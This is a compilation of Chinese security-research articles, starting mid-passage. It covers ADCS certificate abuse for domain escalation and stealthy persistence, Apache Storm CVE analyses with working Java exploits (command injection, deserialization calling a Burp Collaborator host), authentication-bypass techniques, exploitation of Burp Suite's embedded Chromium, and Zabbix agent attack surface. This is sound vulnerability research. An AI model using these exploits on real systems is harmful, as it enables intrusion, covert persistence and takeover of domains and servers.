- msPKI-Certificates-Name-Flag -edit-> ENROLLEE_SUPPLIES_SUBJECT (WriteProperty)
- msPKI-Certificate-Application-Policy -add-> 服务器身份验证 (WriteProperty)
- mspki-enrollment-flag -edit-> AUTO_ENROLLMENT (WriteProperty)
- Enrollment Rights -add-> Control User (WriteDacl)
随后利用恶意模板进行 CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT 提权利用,可拿到 administrator 的证书凭据即可 ptt ,相比 Certify ,certi 是可以在域外使用的。
PKI 访问权限配置错误
如果低特权的攻击者可以对 CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC=
控制,那么攻击者就会直接控制 PKI 系统 (证书模板容器、证书颁发机构容器、NTAuthCertificates对象、注册服务容器等)。
将 CN=Public Key Services,CN=Services,CN=Configuration
添加 CORP\zhangsan 用户对其 GenericAll 的权限
此时我们可以滥用权限创建一个新的恶意证书模板来使用进行前面相关的域权限提升方法。
CA 访问权限配置错误
CA 本身具有一组安全权限用于权限管理
我们主要关注 ManageCA ,ManageCertificates 两种权限
权限 | 描述 |
---|---|
Read | 读取 CA |
ManageCA | CA 管理员 |
Issue and manage certificates | 证书管理 |
Request certificates | 请求证书,默认拥有 |
利用面一:隐藏 CA 申请记录
在拿到域管权限或拥有 PKI 操作权限后创建一个恶意证书模板
使用 CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT 姿势获取到 administrator 的 pfx 证书用于权限维持 (用户状态异常无法利用该证书)
我们出于隐蔽考虑可删除模板并利用拥有 ManageCA 权限的 zhangsan 调用 COM 接口 ICertAdminD2::DeleteRow
从 CA 数据库中删除申请的证书痕迹
运维人员是无法从证书控制台观察到我们的证书申请记录并无法吊销证书。只要 administrator 用户不过期,证书不过期即可一直使用,即使用户密码更改。
利用面二:修改 CA 属性用于证书提权
当我们拥有 ManageCA 权限下调用 ICertAdminD2::SetConfigEntry
来修改 CA 的配置数据,例如Config_CA_Accept_Request_Attributes_SAN
的bool型数据从而开启 CA 的 EDITF_ATTRIBUTESUBJECTALTNAME2
此时可参考前面 EDITF_ATTRIBUTESUBJECTALTNAME2 证书提权滥用拿到域控制权
利用面三:自己审批证书注册
在证书模板设置时,部分运维会出于安全考虑将模板发布要求设置为 CA 证书管理员审批,管理员就会在 certsrv.msc
上进行确认
当拥有 ManageCertificates 权限时,可调用 ICertAdminD::ResubmitRequest
去给需要审核的滥用证书进行批准放行。
3. 其他利用
Golden Certificates
使用偷来的证书颁发机构 (CA) 证书以及私钥来为任意用户伪造证书,这些用户可以对活动目录进行身份验证,因为签署颁发证书的唯一密钥就是 CA 的私钥。
当我们获取到 CA 服务器时,通过 mimikatz 或 SharpDPAPI 项目提取任何不受硬件保护的 CA 证书私钥。
SharpDPAPI4.exe certificates /machine
使用 openssl 转化格式后,利用 ForgeCert 或 pyForgeCert 进行证书构造,故含私钥的 CA 为“黄金证书”。
NTLM Relay to ADCS HTTP Endpoints
该利用方式是因为 http 的证书注册接口易受 NTLM Relay 攻击所导致的。NTLM 相关利用文章有很多,例如 CVE-2018-8581、CVE-2019-1040、Printerbug 等这里不再介绍。
PetitPotam 可以指定域内的一台服务器,使其对指定目标进行身份验证。当目标为低版本 (16以下) 时,可以做到匿名触发。
通过调用 MS-EFSRPC
相关函数到域控,使域控发送请求我们的监听,我们将获取到的 NTLM Relay 到 ADCS 的 Web 注册页面。
通过域控机器用户 NTLM 凭据向 web 服务注册证书,成功得到域控机器账户的Encode Base64 证书。
利用 kekeo 进行 ask tgt 成功拿到 DC$ 权限进行 Dcsync。
0x04 写在后面
ADCS 相关利用手段在实战场景中权限提升,权限维持非常便捷。针对 ADCS 的防御方案在白皮书也有详细提到,这里就不详细写了。
部分解决方案有提到微软的三层架构:
核心思想就是你是什么用户就访问怎样的资产,无法向下级访问且向上访问会告警。那么 CA 、ADCS 服务器的本地管理员组、PKI 和证书模板所拥有者都应该处于0层。
最后灵腾实验室长期招聘高级攻防专家,高级安全研究员,感兴趣可发送简历至g-linton-lab[AT]360.cn
0x05 参考链接
https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf
Apache Storm 漏洞分析
Author: 0x28
0x00 前言
前段时间Apache Storm更了两个CVE,简短分析如下,本篇文章将对该两篇文章做补充。
GHSL-2021-086: Unsafe Deserialization in Apache Storm supervisor - CVE-2021-40865
GHSL-2021-085: Command injection in Apache Storm Nimbus - CVE-2021-38294
0x01 漏洞分析
CVE-2021-38294 影响版本为:1.x~1.2.3,2.0.0~2.2.0
CVE-2021-40865 影响版本为:1.x~1.2.3,2.1.0,2.2.0
CVE-2021-38294
1、补丁相关细节
针对CVE-2021-38294命令注入漏洞,官方推出了补丁代码https://github.com/apache/storm/compare/v2.2.0...v2.2.1#diff-30ba43eb15432ba1704c2ed522d03d588a78560fb1830b831683d066c5d11425
将原本代码中的bash -c 和user拼接命令行执行命令的方式去掉,改为直接传入到数组中,即使user为拼接的命令也不会执行成功,带入的user变量中会直接成为id命令的参数。说明在ShellUtils类中调用,传入的user参数为可控
因此若传入的user参数为";whomai;",则其中getGroupsForUserCommand拼接完得到的String数组为
new String[]{"bash","-c","id -gn ; whoami;&& id -Gn; whoami;"}
而execCommand方法为可执行命令的方法,其底层的实现是调用ProcessBuilder实现执行系统命令,因此传入该String数组后,调用bash执行shell命令。其中shell命令用户可控,从而导致可执行恶意命令。
2、execCommand命令执行细节
接着上一小节往下捋一捋命令执行函数的细节,ShellCommandRunnerImpl.execCommand()的实现如下
execute()往后的调用链为execute()->ShellUtils.run()->ShellUtils.runCommand()
最终传入shell命令,调用ProcessBuilder执行命令。
3、调用栈执行流程细节
POC中作者给出了调试时的请求栈。
getGroupsForUserCommand:124, ShellUtils (org.apache.storm.utils)getUnixGroups:110, ShellBasedGroupsMapping (org.apache.storm.security.auth)getGroups:77, ShellBasedGroupsMapping (org.apache.storm.security.auth)userGroups:2832, Nimbus (org.apache.storm.daemon.nimbus)isUserPartOf:2845, Nimbus (org.apache.storm.daemon.nimbus)getTopologyHistory:4607, Nimbus (org.apache.storm.daemon.nimbus)getResult:4701, Nimbus$Processor$getTopologyHistory (org.apache.storm.generated)getResult:4680, Nimbus$Processor$getTopologyHistory (org.apache.storm.generated)process:38, ProcessFunction (org.apache.storm.thrift)process:38, TBaseProcessor (org.apache.storm.thrift)process:172, SimpleTransportPlugin$SimpleWrapProcessor (org.apache.storm.security.auth)invoke:524, AbstractNonblockingServer$FrameBuffer (org.apache.storm.thrift.server)run:18, Invocation (org.apache.storm.thrift.server)runWorker:-1, ThreadPoolExecutor (java.util.concurrent)run:-1, ThreadPoolExecutor$Worker (java.util.concurrent)run:-1, Thread (java.lang)
根据以上在调用栈分析时,从最终的命令执行的漏洞代码所在处getGroupsForUserCommand仅仅只能跟踪到nimbus.getTopologyHistory()方法,似乎有点难以判断道作者在做该漏洞挖掘时如何确定该接口对应的是哪个服务和端口。也许作者可能是翻阅了大量的文档资料和测试用例从而确定了该接口,是如何从某个端口进行远程调用。
全文搜索6627端口,找到了6627在某个类中,被设置为默认值。以及结合在细读了Nimbus.java的代码后,关于以上疑惑我的大致分析如下。
Nimbus服务的启动时的步骤我人为地将其分为两个步骤,第一个是读取相应的配置得到端口,第二个是根据配置文件开启对应的端口和绑定相应的Service。
首先是启动过程,前期启动过程在/bin/storm和storm.py中加载Nimbus类。在Nimbus类中,main()->launch()->launchServer()后,launchServer中先实例化一个Nimbus对象,在New Nimbus时加载Nimbus构造方法,在这个构造方法执行过程中,加载端口配置。接着实例化一个ThriftServer将其与nimbus对象绑定,然后初始化后,调用serve()方法接收传过来的数据。
Nimbus函数中通过this调用多个重载构造方法
在最后一个构造方法中发现其调用fromConf加载配置,并赋值给nimbusHostPortInfo
fromConf方法具体实现细节如下,这里直接设置port默认值为6627端口
然后回到主流程线上,server.serve()开始接收请求
至此已经差不多理清了6627端口对应的服务的情况,也就是说,因为6627端口绑定了Nimbus对象,所以可以通过对6627端口进行远程调用getTopologyHistory方法。
4、关于如何构造POC
根据以上漏洞分析不难得出只需要连接6627端口,并发送相应字符串即可。已经确定了6627端口服务存在的漏洞,可以通过源代码中的的测试用例进行快速测试,避免了需要大量翻阅文档构造poc的过程。官方poc如下
import org.apache.storm.utils.NimbusClient;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
public class ThriftClient {
public static void main(String[] args) throws Exception {
HashMap config = new HashMap();
List<String> seeds = new ArrayList<String>();
seeds.add("localhost");
config.put("storm.thrift.transport", "org.apache.storm.security.auth.SimpleTransportPlugin");
config.put("storm.thrift.socket.timeout.ms", 60000);
config.put("nimbus.seeds", seeds);
config.put("storm.nimbus.retry.times", 5);
config.put("storm.nimbus.retry.interval.millis", 2000);
config.put("storm.nimbus.retry.intervalceiling.millis", 60000);
config.put("nimbus.thrift.port", 6627);
config.put("nimbus.thrift.max_buffer_size", 1048576);
config.put("nimbus.thrift.threads", 64);
NimbusClient nimbusClient = new NimbusClient(config, "localhost", 6627);
// send attack
nimbusClient.getClient().getTopologyHistory("foo;touch /tmp/pwned;id ");
}
}
在测试类org/apache/storm/nimbus/NimbusHeartbeatsPressureTest.java中,有以下代码针对6627端口的测试
可以看到实例化过程需要传入配置参数,远程地址和端口。配置参数如下,构造一个config即可。
并且通过getClient().xxx()对相应的方法进行调用,如下图中调用sendSupervisorWorkerHeartbeats
且与getTopologyHistory一样,该方法同样为Nimbus类的成员方法,因此可以使用同样的手法对getTopologyHistory进行远程调用
CVE-2021-40865
1、补丁相关细节
针对CVE-2021-40865,官方推出的补丁代码,对传过来的数据在反序列化之前若默认配置不开启验证则增加验证(https://github.com/apache/storm/compare/v2.2.0...v2.2.1#diff-463899a7e386ae4ae789fb82786aff023885cd289c96af34f4d02df490f92aa2),即默认开启验证。
通过查阅资料可知ChannelActive方法为连接时触发验证
可以看到在旧版本的代码上的channelActive方法没有做登录时的登录验证。且从补丁信息上也可以看出来这是一个反序列化漏洞的补丁。该反序列化功能存在于StormClientPipelineFactory.java中,由于没做登录验证,导致可以利用该反序列化漏洞调用gadget执行系统命令。
2、反序列化漏洞细节
在StormClientPipelineFactory.java中数据流进来到最终进行处理需要经过解码器,而解码器则调用的是MessageCoder和KryoValuesDeserializer进行处理,KryoValuesDeserializer需要先进行初步生成反序列化器,最后通过MessageDecoder进行解码
最终在数据流解码时触发进入MessageDecoder.decode(),在decode逻辑中,作者也很精妙地构造了fake数据完美走到反序列化最终流程点。首先是读取两个字节的short型数据到code变量中
判断该code是否为-600,若为-600则取出四个字节作为后续字节的长度,接着去除后续的字节数据传入到BackPressureStatus.read()中
并在read方法中对传入的bytes进行反序列化
3、调用栈执行流程细节
尝试跟着代码一直往上回溯一下,找到开启该服务的端口
Server.java - new Server(topoConf, port, cb, newConnectionResponse);
WorkerState.java - this.mqContext.bind(topologyId, port, cb, newConnectionResponse);
Worker.java - loadWorker(IStateStorage stateStorage, IStormClusterState stormClusterState,Map<String, String> initCreds, Credentials initialCredentials)
LocalContainerLauncher.java - launchContainer(int port, LocalAssignment assignment, LocalState state)
Slot.java - run()
ReadClusterState.java - ReadClusterState()
Supervisor.java - launch()
Supervisor.java - launchDaemon()
而在Supervisor.java中先实例化Supervisor,在实例化的同时加载配置文件(配置文件storm.yaml配置6700端口),然后调用launchDaemon进行服务加载
读取配置文件细节为会先调用ConfigUtils.readStormConfig()读取对应的配置文件
ConfigUtils.readStormConfig() -> ConfigUtils.readStormConfigImpl() -> Utils.readFromConfig()
可以看到调用findAndReadConfigFile读取storm.yaml
读取完配置文件后进入launchDaemon,调用launch方法
在launch中实例化ReadClusterState
在ReadClusterState的构造方法中会依次调用slot.start(),进入Slot的run方法。最终调用LocalContainerLauncher.launchContainer(),并同时传入端口等配置信息,最终调用new Server(topoConf, port, cb, newConnectionResponse),监听对应的端口和绑定Handler。
4、关于POC构造
import org.apache.commons.io.IOUtils;
import org.apache.storm.serialization.KryoValuesSerializer;
import ysoserial.payloads.ObjectPayload;
import ysoserial.payloads.URLDNS;
import java.io.*;
import java.math.BigInteger;
import java.net.*;
import java.util.HashMap;
public class NettyExploit {
/**
* Encoded as -600 ... short(2) len ... int(4) payload ... byte[] *
*/
public static byte[] buffer(KryoValuesSerializer ser, Object obj) throws IOException {
byte[] payload = ser.serializeObject(obj);
BigInteger codeInt = BigInteger.valueOf(-600);
byte[] code = codeInt.toByteArray();
BigInteger lengthInt = BigInteger.valueOf(payload.length);
byte[] length = lengthInt.toByteArray();
ByteArrayOutputStream outputStream = new ByteArrayOutputStream( );
outputStream.write(code);
outputStream.write(new byte[] {0, 0});
outputStream.write(length);
outputStream.write(payload);
return outputStream.toByteArray( );
}
public static KryoValuesSerializer getSerializer() throws MalformedURLException {
HashMap<String, Object> conf = new HashMap<>();
conf.put("topology.kryo.factory", "org.apache.storm.serialization.DefaultKryoFactory");
conf.put("topology.tuple.serializer", "org.apache.storm.serialization.types.ListDelegateSerializer");
conf.put("topology.skip.missing.kryo.registrations", false);
conf.put("topology.fall.back.on.java.serialization", true);
return new KryoValuesSerializer(conf);
}
public static void main(String[] args) {
try {
// Payload construction
String command = "http://k6r17p7xvz8a7wj638bqj6dydpji77.burpcollaborator.net";
ObjectPayload gadget = URLDNS.class.newInstance();
Object payload = gadget.getObject(command);
// Kryo serialization
byte[] bytes = buffer(getSerializer(), payload);
// Send bytes
Socket socket = new Socket("127.0.0.1", 6700);
OutputStream outputStream = socket.getOutputStream();
outputStream.write(bytes);
outputStream.flush();
outputStream.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}
其实这个反序列化POC构造跟其他最不同的点在于需要构造一些前置数据,让后面被反序列化的字节流走到反序列化方法中,因此需要先构造一个两个字节的-600数值,再构造一个四个字节的数值为序列化数据的长度数值,再加上自带序列化器进行构造的序列化数据,发送到服务端即可。
0x02 复现&回显Exp
CVE-2021-38294
复现如下
调试了一下EXP,由于是直接的命令执行,因此直接采用将执行结果写入一个不存在的js中(命令执行自动生成),访问web端js即可。
import com.github.kevinsawicki.http.HttpRequest;
import org.apache.storm.generated.AuthorizationException;
import org.apache.storm.thrift.TException;
import org.apache.storm.thrift.transport.TTransportException;
import org.apache.storm.utils.NimbusClient;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
public class CVE_2021_38294_ECHO {
public static void main(String[] args) throws Exception, AuthorizationException {
String command = "ifconfig";
HashMap config = new HashMap();
List<String> seeds = new ArrayList<String>();
seeds.add("localhost");
config.put("storm.thrift.transport", "org.apache.storm.security.auth.SimpleTransportPlugin");
config.put("storm.thrift.socket.timeout.ms", 60000);
config.put("nimbus.seeds", seeds);
config.put("storm.nimbus.retry.times", 5);
config.put("storm.nimbus.retry.interval.millis", 2000);
config.put("storm.nimbus.retry.intervalceiling.millis", 60000);
config.put("nimbus.thrift.port", 6627);
config.put("nimbus.thrift.max_buffer_size", 1048576);
config.put("nimbus.thrift.threads", 64);
NimbusClient nimbusClient = new NimbusClient(config, "localhost", 6627);
nimbusClient.getClient().getTopologyHistory("foo;" + command + "> ../public/js/log.min.js; id");
String response = HttpRequest.get("http://127.0.0.1:8082/js/log.min.js").body();
System.out.println(response);
}
}
CVE-2021-40865
复现如下
该利用暂时没有可用的gadget配合进行RCE。
0x03 写在最后
由于本次分析时调试环境一直起不来,因此直接静态代码分析,可能会有漏掉或者错误的地方,还请师傅们指出和见谅。
0x04 参考
https://www.w3cschool.cn/apache_storm/apache_storm_installation.html
https://securitylab.github.com/advisories/GHSL-2021-086-apache-storm/
https://securitylab.github.com/advisories/GHSL-2021-085-apache-storm/
https://www.leavesongs.com/PENETRATION/commons-beanutils-without-commons-collections.html
https://github.com/frohoff/ysoserial
https://www.w3cschool.cn/apache_storm/apache_storm_installation.html
Identity Security Authentication Vulnerability
拿到一个系统大多很多情况下只有一个登录入口,如果想进一步得到较为高危的漏洞,只能去寻找权限校验相关的漏洞,再结合后台洞,最终得到一个较为满意的漏洞。
这里列出一些较为常见的安全认证配置:
- Spring Security
- Apache Shiro
- 服务器本身(Tomcat、Nginx、Apache)401 认证
- Tomcat 安全认证(结合web.xml) 无需代码实现
- JSON Web Token
以上只是简单列出了一些笔者见过常见的安全认证配置组件。不同的鉴权组件存在异同的审计思路。
一、寻找未授权
这是笔者第首先会入手去看的点,毕竟如果能直接从未授权的点进入,就没必要硬刚鉴权逻辑了。
1.一些第三方组件大概率为未授权应用
druid、webservice、swagger等内置于程序中的应用大多被开发者设计为无需权限校验接口。
第三方组件本身又存在历史漏洞,且以jar包的形式内置于应用中,低版本的情况很常见。
利用druid的未授权获取了管理员session
2.安全认证框架配置中存在的未授权接口
出于某种功能需求,开发者会讲一些功能接口配置无需权限
web.xml
细心查看配置文件中各个Filter、Servlet、Listener ,可能有意想不到的收获
spring-mvc.xml
这里是以拦截器的方式对外开放了未授权请求处理
tomcat 安全配置
配置类
Apache Shiro、Spring Security等支持以@Configuare注解方式配置权限认证,只要按照配置去寻找,当然以上框架也支持配置文件方式配置,寻找思路一样
3.未授权访问接口配合ssrf获取localhost本身需鉴权服务
一些多服务组件中,存在服务之间的相互调用,服务之间的相互调用或许不需要身份校验,或者已经配置了静态的身份凭证,又或者通过访问者IP是否为127.0.0.1来进行鉴权。这时我们需要一个SSRF漏洞即可绕过权限验证。
很经典的为Apache Module mod_proxy 场景绕过:SSRF CVE-2021-4043.
二、安全认证框架本身存在鉴权漏洞
1.Apache Shiro
Shiro相关的权限绕过漏洞,我觉得可以归类到下面的路径归一化的问题上
2.Spring Security
某些配置下,存在权限绕过,当配置文件放行了/**/.js 时
3.JWT 存在的安全风险
- 敏感信息泄露
- 未校验签名
- 签名算法可被修改为none
- 签名密钥爆破
- 修改非对称密码算法为对称密码算法
- 伪造密钥(CVE-2018-0114)
jwt测试工具:https://github.com/ticarpi/jwt_tool
三、静态资源访问
静态资源css、js等文件访问往往不需要权限,开发者可能讲鉴权逻辑放在Filter里,当我们在原有路由基础上添加.js 后缀时,即可绕过验证
这里可能会有一个问题,添加了js后缀后是否还能正常匹配到处理类呢?在spring应用里是可以的,默认配置下的spirng configurePathMatch支持添加后缀匹配路由,如果想开启后缀匹配模式,需要手动重写configurePathMatch方法
四、路径归一化问题
1.简单定义
两套组件或应用对同一个 URI 解析,或者说处理的不一致,导致路径归一化问题的产生。
orange 的 breaking parser logic 在 2018 黑帽大会上的演讲议题,后续许多路径归一化的安全问题,都是延伸自他的 PPT
2.Shiro 权限绕过漏洞
一个很经典的路径归一化问题,导致 权限的绕过,比如Shiro CVE-2020-1957
针对用户访问的资源地址,也就是 URI 地址,shiro 的解析和 spring 的解析不一致,shiro 的 Ant 中的*通配符匹配是不能匹配这个 URI 的/test/admin/page/。shiro 认为它是一个路径,所以绕过了/test/admin/*这个 ACL。而 spring 认为/test/admin/page 和/test/admin/page/是一样的,它们能在 spring中获取到同样的资源。
3.CVE-2021-21982 VMware CarbonBlack Workstation
算是一个老1day了,组件本身身份验证通过Spring Security + JWT来实现。且存在两套url的处理组件:Envoy 以及 Springboot。
PS:Envoy 是专为大型现代 SOA(面向服务架构)架构设计的 L7 代理和通信总线。
通过diff可以定位到漏洞点,一个本地获取token的接口
但是我们通过外网直接访问无法获取到token
简单了解一下组建的基本架构
抓一下envoy 与本机服务的通信 rr yyds
./tcpdump -i lo -nn -s0 -w lo1.cap -v
envoy 本身起到一个请求转发作用,可以精确匹配到协议 ip 端口 url路径等,指定很详细的路由转发规则,且可以对请求进行转发和修改
url编码即可绕过envoy的转发规则,POC如下:
总结:由于envoy转发规则不能匹配URL编码,但Springboot可以理解,两个组件对url的理解不同,最终导致漏洞产生。
3.Other
扩展一下思路,当存在一个或者多个代码逻辑处理url时,由于对编码,通配符,"/",";" 等处理的不同,极有可能造成安全问题。
五、Apache、Nginx、Jetty、HAProxy 等
Chybeta在其知识星球分享了很多:
Nginx 场景绕过之一: URL white spaces + Gunicorn
https://articles.zsxq.com/id_whpewmqqocrw.html
Nginx 场景绕过之二:斜杠(trailing slash) 与 #
https://articles.zsxq.com/id_jb6bwow4zf5p.html
Nginx 场景绕过之三:斜杠(trailing slash) 与 ;
https://articles.zsxq.com/id_whg6hb68xkbd.html
HAProxy 场景绕过之一: CVE-2021-40346
https://articles.zsxq.com/id_ftx67ig4w57u.html
利用hop-by-hop绕过:结合CVE-2021-33197
https://articles.zsxq.com/id_rfsu4pm43qno.html
Squid 场景绕过之一: URN bypass ACL
https://articles.zsxq.com/id_ihsdxmrapasa.html
Apache Module mod_proxy 场景绕过:SSRF CVE-2021-4043.
六、简单的fuzz测试
造成权限绕过的根本原因可能有多种,但是不妨碍我们总结出一些常见的绕过方式,编码、插入某些特定字符、添加后缀等方式。远海曾公布一个权限绕过的fuzz字典:
七、参考链接
https://wx.zsxq.com/dweb2/index/group/555848225184
https://www.vmware.com/security/advisories/VMSA-2021-0005.html
https://cloud.tencent.com/developer/article/1552824
反制爬虫之 Burp Suite 远程命令执行
一、前言
Headless Chrome是谷歌Chrome浏览器的无界面模式,通过命令行方式打开网页并渲染,常用于自动化测试、网站爬虫、网站截图、XSS检测等场景。
近几年许多桌面客户端应用中,基本都内嵌了Chromium用于业务场景使用,但由于开发不当、CEF版本不升级维护等诸多问题,攻击者可以利用这些缺陷攻击客户端应用以达到命令执行效果。
本文以知名渗透软件Burp Suite举例,从软件分析、漏洞挖掘、攻击面扩展等方面进行深入探讨。
二、软件分析
以Burp Suite Pro v2.0beta版本为例,要做漏洞挖掘首先要了解软件架构及功能点。
将burpsuite_pro_v2.0.11beta.jar
进行解包,可以发现Burp Suite打包了Windows、Linux、Mac的Chromium,可以兼容在不同系统下运行内置Chromium浏览器。
在Windows系统中,Burp Suite v2.0运行时会将chromium-win64.7z
解压至C:\Users\user\AppData\Local\JxBrowser\browsercore-64.0.3282.24.unknown\
目录
从目录名及数字签名得知Burp Suite v2.0是直接引用JxBrowser浏览器控件,其打包的Chromium版本为64.0.3282.24。
那如何在Burp Suite中使用内置浏览器呢?在常见的使用场景中,Proxy -> HTTP history -> Response -> Render
及Repeater -> Render
都能够调用内置Chromium浏览器渲染网页。
当Burp Suite唤起内置浏览器browsercore32.exe
打开网页时,browsercore32.exe
会创建Renderer进程及GPU加速进程。
browsercore32.exe进程运行参数如下:
// Chromium主进程
C:\Users\user\AppData\Local\JxBrowser\browsercore-64.0.3282.24.unknown\browsercore32.exe --port=53070 --pid=13208 --dpi-awareness=system-aware --crash-dump-dir=C:\Users\user\AppData\Local\JxBrowser --lang=zh-CN --no-sandbox --disable-xss-auditor --headless --disable-gpu --log-level=2 --proxy-server="socks://127.0.0.1:0" --disable-bundled-ppapi-flash --disable-plugins-discovery --disable-default-apps --disable-extensions --disable-prerender-local-predictor --disable-save-password-bubble --disable-sync --disk-cache-size=0 --incognito --media-cache-size=0 --no-events --disable-settings-window
// Renderer进程
C:\Users\user\AppData\Local\JxBrowser\browsercore-64.0.3282.24.unknown\browsercore32.exe --type=renderer --log-level=2 --no-sandbox --disable-features=LoadingWithMojo,browser-side-navigation --disable-databases --disable-gpu-compositing --service-pipe-token=C06434E20AA8C9230D15FCDFE9C96993 --lang=zh-CN --crash-dump-dir="C:\Users\user\AppData\Local\JxBrowser" --enable-pinch --device-scale-factor=1 --num-raster-threads=1 --enable-gpu-async-worker-context --disable-accelerated-video-decode --service-request-channel-token=C06434E20AA8C9230D15FCDFE9C96993 --renderer-client-id=2 --mojo-platform-channel-handle=2564 /prefetch:1
从进程运行参数分析得知,Chromium进程以headless模式运行、关闭了沙箱功能、随机监听一个端口(用途未知)。
三、漏洞利用
Chromium组件的历史版本几乎都存在着1Day漏洞风险,特别是在客户端软件一般不会维护升级Chromium版本,且关闭沙箱功能,在没有沙箱防护的情况下漏洞可以无限制利用。
Burp Suite v2.0内置的Chromium版本为64.0.3282.24,该低版本Chromium受到多个历史漏洞影响,可以通过v8引擎漏洞执行shellcode从而获得PC权限。
以Render功能演示,利用v8漏洞触发shellcode打开计算器(此处感谢Sakura提供漏洞利用代码)
这个漏洞没有公开的CVE ID,但其详情可以在这里找到。
该漏洞的Root Cause是在进行Math.expm1
的范围分析时,推断出的类型是Union(PlainNumber, NaN)
,忽略了Math.expm1(-0)
会返回-0
的情况,从而导致范围分析错误,导致JIT优化时,错误的将边界检查CheckBounds移除,造成了OOB漏洞。
用户在通过Render功能渲染页面时触发v8漏洞成功执行shellcode。
四、进阶攻击
Render功能需要用户交互才能触发漏洞,相对来说比较鸡肋,能不能0click触发漏洞?答案是可以的。
Burp Suite v2.0的Live audit from Proxy
被动扫描功能在默认情况下开启JavaScript分析引擎(JavaScript analysis),用于扫描JavaScript漏洞。
其中JavaScript分析配置中,默认开启了动态分析功能(dynamic analysis techniques)、额外请求功能(Make requests for missing Javascript dependencies)
JavaScript动态分析功能会调用内置chromium浏览器对页面中的JavaScript进行DOM XSS扫描,同样会触发页面中的HTML渲染、JavaScript执行,从而触发v8漏洞执行shellcode。
额外请求功能当页面存在script标签引用外部JS时,除了页面正常渲染时请求加载script标签,还会额外发起请求加载外部JS。即两次请求加载外部JS文件,并且分别执行两次JavaScript动态分析。
额外发起的HTTP请求会存在明文特征,后端可以根据该特征在正常加载时返回正常JavaScript代码,额外加载时返回漏洞利用代码,从而可以实现在Burp Suite HTTP history中隐藏攻击行为。
GET /xxx.js HTTP/1.1
Host: www.xxx.com
Connection: close
Cookie: JSESSIONID=3B6FD6BC99B03A63966FC9CF4E8483FF
JavaScript动态分析 + 额外请求 + chromium漏洞组合利用效果:
五、流量特征检测
默认情况下Java发起HTTPS请求时协商的算法会受到JDK及操作系统版本影响,而Burp Suite自己实现了HTTPS请求库,其TLS握手协商的算法是固定的,结合JA3算法形成了TLS流量指纹特征可被检测,有关于JA3检测的知识点可学习《TLS Fingerprinting with JA3 and JA3S》。
Cloudflare开源并在CDN产品上应用了MITMEngine组件,通过TLS指纹识别可检测出恶意请求并拦截,其覆盖了大多数Burp Suite版本的JA3指纹从而实现检测拦截。这也可以解释为什么在渗透测试时使用Burp Suite请求无法获取到响应包。
以Burp Suite v2.0举例,实际测试在各个操作系统下,同样的jar包发起的JA3指纹是一样的。
不同版本Burp Suite支持的TLS算法不一样会导致JA3指纹不同,但同样的Burp Suite版本JA3指纹肯定是一样的。如果需要覆盖Burp Suite流量检测只需要将每个版本的JA3指纹识别覆盖即可检测Burp Suite攻击从而实现拦截。
本文章涉及内容仅限防御对抗、安全研究交流,请勿用于非法途径。
Zabbix 攻击面挖掘与利用
一、简介
Zabbix是一个支持实时监控数千台服务器、虚拟机和网络设备的企业级解决方案,客户覆盖许多大型企业。本议题介绍了Zabbix基础架构、Zabbix Server攻击面以及权限后利用,如何在复杂内网环境中从Agent控制Server权限、再基于Server拿下所有内网Agent。
二、Zabbix监控组件
Zabbix监控系统由以下几个组件部分构成:
1. Zabbix Server
Zabbix Server是所有配置、统计和操作数据的中央存储中心,也是Zabbix监控系统的告警中心。在监控的系统中出现任何异常,将被发出通知给管理员。
Zabbix Server的功能可分解成为三个不同的组件,分别为Zabbix Server服务、Web后台及数据库。
2. Zabbix Proxy
Zabbix Proxy是在大规模分布式监控场景中采用一种分担Zabbix Server压力的分层结构,其多用在跨机房、跨网络的环境中,Zabbix Proxy可以代替Zabbix Server收集性能和可用性数据,然后把数据汇报给Zabbix Server,并且在一定程度上分担了Zabbix Server的压力。
3. Zabbix Agent
Zabbix Agent部署在被监控的目标机器上,以主动监控本地资源和应用程序(硬盘、内存、处理器统计信息等)。
Zabbix Agent收集本地的状态信息并将数据上报给Zabbix Server用于进一步处理。
三、Zabbix网络架构
对于Zabbix Agent客户端来说,根据请求类型可分为被动模式及主动模式:
- 被动模式:Server向Agent的10050端口获取监控项数据,Agent根据监控项收集本机数据并响应。
- 主动模式:Agent主动请求Server(Proxy)的10051端口获取监控项列表,并根据监控项收集本机数据提交给Server(Proxy)
从网络部署架构上看,可分为Server-Client架构、Server-Proxy-Client架构、Master-Node-Client架构:
- Server-Client架构
最为常见的Zabbix部署架构,Server与Agent同处于内网区域,Agent能够直接与Server通讯,不受跨区域限制。
- Server-Proxy-Client架构
多数见于大规模监控需求的企业内网,其多用在跨机房、跨网络的环境,由于Agent无法直接与位于其他区域的Server通讯,需要由各区域Proxy代替收集Agent数据然后再上报Server。
四、Zabbix Agent配置分析
从进程列表中可判断当前机器是否已运行zabbix_agentd服务,Linux进程名为zabbix_agentd
,Windows进程名为zabbix_agentd.exe
。
Zabbix Agent服务的配置文件为zabbix_agentd.conf
,Linux默认路径在/etc/zabbix/zabbix_agentd.conf
,可通过以下命令查看agent配置文件并过滤掉注释内容:
cat /etc/zabbix/zabbix_agentd.conf | grep -v '^#' | grep -v '^$'
首先从配置文件定位zabbix_agentd服务的基本信息:
- Server参数
Server或Proxy的IP、CIDR、域名等,Agent仅接受来自Server参数的IP请求。
Server=192.168.10.100
- ServerActive参数
Server或Proxy的IP、CIDR、域名等,用于主动模式,Agent主动向ServerActive参数的IP发送请求。
ServerActive=192.168.10.100
- StartAgents参数
为0时禁用被动模式,不监听10050端口。
StartAgents=0
经过对 zabbix_agentd.conf
配置文件各个参数的安全性研究,总结出以下配置不当可能导致安全风险的配置项:
- EnableRemoteCommands参数
是否允许来自Zabbix Server的远程命令,开启后可通过Server下发shell脚本在Agent上执行。
风险样例:
EnableRemoteCommands=1
- AllowRoot参数
Linux默认以低权限用户zabbix运行,开启后以root权限运行zabbix_agentd服务。
风险样例:
AllowRoot=1
- UserParameter参数
自定义用户参数,格式为UserParameter=<key>,<command>
,Server可向Agent执行预设的自定义参数命令以获取监控数据,以官方示例为例:
UserParameter=ping[*],echo $1
当Server向Agent执行ping[aaaa]
指令时,$1为传参的值,Agent经过拼接之后执行的命令为echo aaaa
,最终执行结果为aaaa
。
